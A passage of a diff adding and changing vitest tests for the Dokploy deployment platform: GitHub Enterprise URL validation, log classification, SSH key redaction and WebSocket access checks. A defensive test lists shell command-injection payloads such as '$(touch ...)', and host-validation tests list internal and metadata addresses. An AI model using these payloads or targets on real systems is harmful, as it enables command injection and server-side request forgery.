// is which host ends up in the clone URL, so the app auth is stubbed out.
const mockFindGithubById = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/github", () => ({
findGithubById: mockFindGithubById,
}));
vi.mock("@octokit/auth-app", () => ({
createAppAuth: vi.fn(),
}));
vi.mock("octokit", () => ({
Octokit: class {
auth = async () => ({ token: "gh-token" });
},
}));
const { cloneGithubRepository } = await import(
"@dokploy/server/utils/providers/github"
);
const provider = (githubUrl: string) => ({
githubId: "gh-1",
githubUrl,
githubAppId: 1,
githubPrivateKey: "key",
githubInstallationId: "42",
});
const clone = async () => {
const command = await cloneGithubRepository({
appName: "my-app",
owner: "acme",
repository: "web",
branch: "main",
githubId: "gh-1",
enableSubmodules: false,
serverId: null,
});
return command.replace(/\\/g, "");
};
describe("cloneGithubRepository host", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("clones from github.com for a default provider", async () => {
mockFindGithubById.mockResolvedValue(provider("https://github.com"));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.com/acme/web.git",
);
expect(command).not.toContain("ghe.com");
});
it("clones from the Enterprise host, not github.com", async () => {
mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
);
expect(command).not.toContain("github.com");
});
it("clones from a self-hosted Enterprise Server host", async () => {
mockFindGithubById.mockResolvedValue(
provider("https://github.corp.acme.com"),
);
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
);
});
it("keeps an explicit port in the clone host", async () => {
mockFindGithubById.mockResolvedValue(
provider("https://github.acme.com:8443"),
);
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
);
});
it("falls back to github.com for a provider stored before this feature", async () => {
mockFindGithubById.mockResolvedValue(provider(""));
const command = await clone();
expect(command).toContain(
"https://oauth2:gh-token@github.com/acme/web.git",
);
});
});
@@ -0,0 +1,168 @@
import {
DEFAULT_GITHUB_API_URL,
DEFAULT_GITHUB_URL,
deriveGithubApiUrl,
normalizeGithubUrl,
parseGithubBaseUrl,
} from "@dokploy/server/utils/providers/github";
import { describe, expect, it } from "vitest";
const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
"url" in result ? result.url : null;
describe("normalizeGithubUrl", () => {
it("defaults to github.com when empty", () => {
expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL);
});
it("assumes https when no scheme is given", () => {
expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
});
it("strips paths, queries and trailing slashes", () => {
expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
"https://acme.ghe.com",
);
expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
"https://acme.ghe.com",
);
expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
"https://github.acme.com",
);
});
it("keeps an explicit port", () => {
expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
"https://github.acme.com:8443",
);
});
it("falls back to github.com on unusable input", () => {
expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
DEFAULT_GITHUB_URL,
);
expect(normalizeGithubUrl("http://github.internal")).toBe(
DEFAULT_GITHUB_URL,
);
expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
});
});
describe("parseGithubBaseUrl", () => {
it("accepts github.com and Enterprise hosts", () => {
expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
"https://acme.ghe.com",
);
// A self-hosted instance behind the corporate network is a valid target.
expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
"https://github.corp.acme.com",
);
expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
"https://github.acme.com:8443",
);
});
it("treats an absent value as github.com", () => {
// Not specified is different from specified wrong.
expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL);
});
it("rejects plaintext http", () => {
expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
});
it("rejects dotless hostnames", () => {
expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
});
it("rejects a dotless hostname hidden behind the DNS root label", () => {
// "metadata." resolves like "metadata" but the trailing dot would satisfy
// a naive `includes(".")` check.
expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
});
it("never falls back to github.com on a typo", () => {
// The symptom that opened the ticket: a provider silently pointing at
// github.com and reporting that it cannot find the repositories.
for (const typo of [
"htps://acme.ghe.com",
"ftp://acme.ghe.com",
"https://",
"acme .ghe.com",
]) {
const result = parseGithubBaseUrl(typo);
expect(result, typo).toHaveProperty("error");
expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
}
});
});
describe("deriveGithubApiUrl", () => {
it("maps github.com to api.github.com", () => {
expect(deriveGithubApiUrl("https://github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
});
it("prefixes api. for data residency tenants", () => {
expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
"https://api.acme.ghe.com",
);
expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
"https://api.americancreditacceptance.ghe.com",
);
});
it("uses /api/v3 for Enterprise Server", () => {
expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
"https://github.acme.com/api/v3",
);
expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
"https://github.acme.com:8443/api/v3",
);
});
it("does not treat a lookalike host as data residency", () => {
// Must not match the .ghe.com branch just because the string contains it.
expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
"https://ghe.com.acme.io/api/v3",
);
});
it("still detects data residency behind the DNS root label", () => {
// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
// through to the /api/v3 branch.
expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
"https://api.acme.ghe.com",
);
});
it("maps www.github.com, which a user may well type", () => {
// Not dead weight: GitHub never redirects a manifest there, but the value
// comes from a text field. Without this it would derive
// https://www.github.com/api/v3.
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
DEFAULT_GITHUB_API_URL,
);
});
});
describe("providers created before Enterprise support", () => {
it("keeps pointing at github.com", () => {
// The column defaults to https://github.com, but a null must not break it.
expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
});
});
@@ -0,0 +1,143 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// The gh_init branch runs on a GET the user can be linked into, so a rejected
// host must produce a 400 *before* any outbound request is made.
const mockValidateRequest = vi.hoisted(() => vi.fn());
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockCreateGithub = vi.hoisted(() => vi.fn());
const mockOctokitRequest = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", async (importOriginal) => {
const actual = await importOriginal<typeof import("@dokploy/server")>();
return {
...actual,
validateRequest: mockValidateRequest,
createGithub: mockCreateGithub,
};
});
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
}));
vi.mock("octokit", () => ({
Octokit: class {
request = mockOctokitRequest;
},
}));
const { default: handler } = await import("@/pages/api/providers/github/setup");
const ORG = "org-1";
const USER = "user-1";
const buildRes = () => {
const res = {
statusCode: 0,
body: undefined as unknown,
redirectedTo: undefined as string | undefined,
status(code: number) {
res.statusCode = code;
return res;
},
json(payload: unknown) {
res.body = payload;
return res;
},
redirect(_code: number, url: string) {
res.redirectedTo = url;
return res;
},
};
return res;
};
const call = async (githubUrl?: string | string[]) => {
const res = buildRes();
const req = {
query: {
code: "manifest-code",
state: `gh_init:${ORG}:${USER}`,
...(githubUrl === undefined ? {} : { githubUrl }),
},
headers: {},
} as unknown as Parameters<typeof handler>[0];
await handler(req, res as unknown as Parameters<typeof handler>[1]);
return res;
};
describe("github setup handler — host validation", () => {
beforeEach(() => {
vi.clearAllMocks();
mockValidateRequest.mockResolvedValue({
user: { id: USER },
session: { activeOrganizationId: ORG },
});
mockHasPermission.mockResolvedValue(true);
mockOctokitRequest.mockResolvedValue({
data: {
name: "Dokploy",
html_url: "https://acme.ghe.com/apps/dokploy",
id: 1,
client_id: "cid",
client_secret: "csecret",
webhook_secret: "wsecret",
pem: "key",
},
});
mockCreateGithub.mockResolvedValue(undefined);
});
it.each([
["http://acme.ghe.com", "plaintext http"],
["http://localhost:2375", "internal service over http"],
["https://metadata", "dotless hostname"],
["htps://acme.ghe.com", "scheme typo"],
])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
const res = await call(githubUrl);
expect(res.statusCode).toBe(400);
expect(mockOctokitRequest).not.toHaveBeenCalled();
expect(mockCreateGithub).not.toHaveBeenCalled();
});
it("throws on a repeated parameter instead of silently picking one", async () => {
// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
await expect(
call(["https://acme.ghe.com", "https://evil.com"]),
).rejects.toThrow();
expect(mockCreateGithub).not.toHaveBeenCalled();
});
it("accepts a data residency tenant", async () => {
await call("https://acme.ghe.com");
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
ORG,
USER,
);
});
it("accepts a self-hosted Enterprise Server host", async () => {
await call("https://github.corp.acme.com");
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
ORG,
USER,
);
});
it("treats an absent parameter as github.com", async () => {
await call(undefined);
expect(mockCreateGithub).toHaveBeenCalledWith(
expect.objectContaining({ githubUrl: "https://github.com" }),
ORG,
USER,
);
});
});
@@ -0,0 +1,75 @@
import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
import { describe, expect, it } from "vitest";
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
/**
* The client cannot import from @dokploy/server (node-only modules), so
* resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
* stops the two from drifting apart — and they already did once, when the
* client stripped trailing slashes but not paths and the form action disagreed
* with the persisted row.
*
* The invariant: for the same input, both must make the same accept/reject
* decision, and agree on the URL when they accept.
*/
const INPUTS = [
// Accepted
"https://github.com",
"github.com",
"https://acme.ghe.com",
"acme.ghe.com",
"https://github.corp.acme.com",
"https://github.acme.com:8443",
"https://acme.ghe.com/",
"https://acme.ghe.com///",
"https://acme.ghe.com/enterprises/foo",
"https://acme.ghe.com/some/path?x=1",
" acme.ghe.com ",
"https://acme.ghe.com.",
"https://169.254.169.254",
"https://127.0.0.1",
"https://2130706433",
"https://0x7f.1",
"",
" ",
// Rejected
"http://acme.ghe.com",
"http://localhost:2375",
"https://[::1]",
"https://[::ffff:127.0.0.1]",
"https://metadata",
"https://metadata.",
"https://localhost",
"https://localhost.",
"htps://acme.ghe.com",
"ftp://acme.ghe.com",
"https://",
"acme .ghe.com",
"esto no es una url",
];
describe("client and server agree on GitHub base URLs", () => {
it.each(INPUTS)("%j", (input) => {
const client = resolveGithubBaseUrl(input);
const server = parseGithubBaseUrl(input);
const clientAccepted = !client.error;
const serverAccepted = "url" in server;
expect(
clientAccepted,
`accept/reject differs for ${JSON.stringify(input)}`,
).toBe(serverAccepted);
if (clientAccepted && "url" in server) {
expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
server.url,
);
}
});
it("both treat an empty value as github.com", () => {
expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
});
});
@@ -0,0 +1,42 @@
import { getLogType } from "@/components/dashboard/docker/logs/utils";
import { expect, test } from "vitest";
test("classifies real failures as error", () => {
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
expect(getLogType("Deployment failed").type).toBe("error");
expect(
getLogType(
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
).type,
).toBe("error");
});
test("does not classify explicit non-error key/values as error (#4538)", () => {
// ofelia job-completion summary for a successful run
expect(
getLogType(
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
).type,
).not.toBe("error");
expect(getLogType("request done, error: null").type).not.toBe("error");
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
});
test("keeps errors whose value merely starts with a no-error word", () => {
expect(getLogType("connect failed: no route to host").type).toBe("error");
expect(getLogType("connection failed: no such host").type).toBe("error");
expect(
getLogType("error: none of the configured nodes are available").type,
).toBe("error");
expect(getLogType("error: nil pointer dereference").type).toBe("error");
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
});
test("keeps statusCode-based classification", () => {
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
});
@@ -39,6 +39,7 @@ const ENTERPRISE_RESOURCES = [
"logs",
"monitoring",
"auditLog",
"vaultProvider",
];
describe("enterpriseOnlyResources set", () => {
@@ -1,16 +1,11 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const hasValidLicense = vi.fn();
const getWebServerSettings = vi.fn();
const findFirstOrg = vi.fn();
const findFirstServer = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
organization: {
findFirst: (...args: unknown[]) => findFirstOrg(...args),
},
server: {
findFirst: (...args: unknown[]) => findFirstServer(...args),
},
@@ -19,91 +14,56 @@ vi.mock("@dokploy/server/db", () => ({
}));
vi.mock("@dokploy/server/db/schema", () => ({
organization: {},
server: {},
}));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
}));
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
import {
assertBuildsConcurrencyAllowed,
resolveBuildsConcurrency,
} from "../../server/queues/concurrency";
import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
describe("resolveBuildsConcurrency (enterprise gating)", () => {
describe("resolveBuildsConcurrency", () => {
beforeEach(() => {
vi.clearAllMocks();
findFirstOrg.mockResolvedValue({ id: "org-1" });
});
describe("local web server partition", () => {
it("returns the configured concurrency when licensed", async () => {
it("returns the configured concurrency", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
});
it("clamps to the free max (2) when there is no valid license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("allows the free max (2) without a license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("does not cap the value when licensed (N allowed)", async () => {
it("does not cap high values", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
999,
);
});
it("floors values below 1 to 1", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
it("defaults to 1 when settings are missing", async () => {
getWebServerSettings.mockResolvedValue(undefined);
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("remote server partition", () => {
it("returns the server concurrency when its org is licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 4,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(true);
it("returns the server concurrency", async () => {
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
});
it("clamps to the free max (2) when the server org is not licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 8,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
});
it("defaults to 1 for an unknown server", async () => {
@@ -119,30 +79,3 @@ describe("resolveBuildsConcurrency (enterprise gating)", () => {
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("assertBuildsConcurrencyAllowed", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("allows up to the free max (2) without checking the license", async () => {
await expect(
assertBuildsConcurrencyAllowed(2, "org-1"),
).resolves.toBeUndefined();
expect(hasValidLicense).not.toHaveBeenCalled();
});
it("allows more than 2 when licensed", async () => {
hasValidLicense.mockResolvedValue(true);
await expect(
assertBuildsConcurrencyAllowed(5, "org-1"),
).resolves.toBeUndefined();
});
it("rejects more than 2 without a license", async () => {
hasValidLicense.mockResolvedValue(false);
await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
/enterprise license/i,
);
});
});
@@ -55,6 +55,28 @@ describe("processLogs", () => {
expect(result.data).toHaveLength(2);
});
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
const entryWithoutRequestHost = sampleLogEntry.replace(
/"RequestHost":"[^"]*",/,
"",
);
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
expect(() =>
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
).not.toThrow();
const result = parseRawConfig(
mixedEntries,
undefined,
undefined,
"traefik.me",
);
expect(result.totalCount).toBe(1);
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
});
it("should filter out Dokploy dashboard requests", () => {
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
@@ -0,0 +1,44 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});
@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});
@@ -35,6 +35,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("forwardAuthMiddlewareName", () => {
@@ -7,6 +7,8 @@ const baseApp: ApplicationNested = {
rollbackActive: false,
applicationId: "",
previewLabels: [],
networkIds: [],
detachDokployNetwork: false,
createEnvFile: true,
bitbucketRepositorySlug: "",
herokuVersion: "",
@@ -149,6 +151,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const baseRedirect: Redirect = {
@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
"example",
"dokploy-server",
"localhost",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
"bbn_client.example.com",
"-example.com",
"example-.com",
"example",
"exa mple.com",
"example..com",
"",
@@ -0,0 +1,108 @@
import { describe, expect, test } from "vitest";
import { getLogType } from "@/components/dashboard/docker/logs/utils";
describe("getLogType", () => {
describe("explicit level declared by structured loggers", () => {
test("JSON string levels (pino, winston, zap)", () => {
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
});
test("JSON numeric levels (pino, bunyan)", () => {
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
});
test("syslog/GELF numeric levels", () => {
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
});
test("GCP-style severity and ECS log.level", () => {
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
"error",
);
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
"warning",
);
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
"error",
);
});
test("logfmt levels", () => {
expect(
getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
).toBe("error");
expect(
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
).toBe("info");
expect(getLogType("level=warn msg=careful").type).toBe("warning");
});
test("declared level wins over keywords in the message (#4589, #1996)", () => {
// "version"/"GET" in this pino line would otherwise match the debug keywords
const pinoError =
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
expect(getLogType(pinoError).type).toBe("error");
// info line containing error-like keywords (#4589)
expect(
getLogType(
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
).type,
).toBe("info");
// successful job summary with "failed: false, error: none" (#4538)
expect(
getLogType(
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
).type,
).toBe("info");
});
test("declared level wins over statusCode", () => {
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
});
test("unknown level names fall back to keyword detection", () => {
expect(
getLogType('{"level":"verbose","msg":"connection failed"}').type,
).toBe("error");
});
test("env-var-like text is not treated as logfmt level", () => {
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
"error",
);
});
});
describe("fallback detection for unstructured logs (unchanged)", () => {
test("statusCode classification", () => {
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
});
test("keyword classification", () => {
expect(getLogType("error: something broke").type).toBe("error");
expect(getLogType("warning: disk almost full").type).toBe("warning");
expect(getLogType("Server listening on port 8080").type).toBe("success");
});
test("defaults to info", () => {
expect(getLogType("hello world").type).toBe("info");
});
});
});
+104
View File
@@ -0,0 +1,104 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
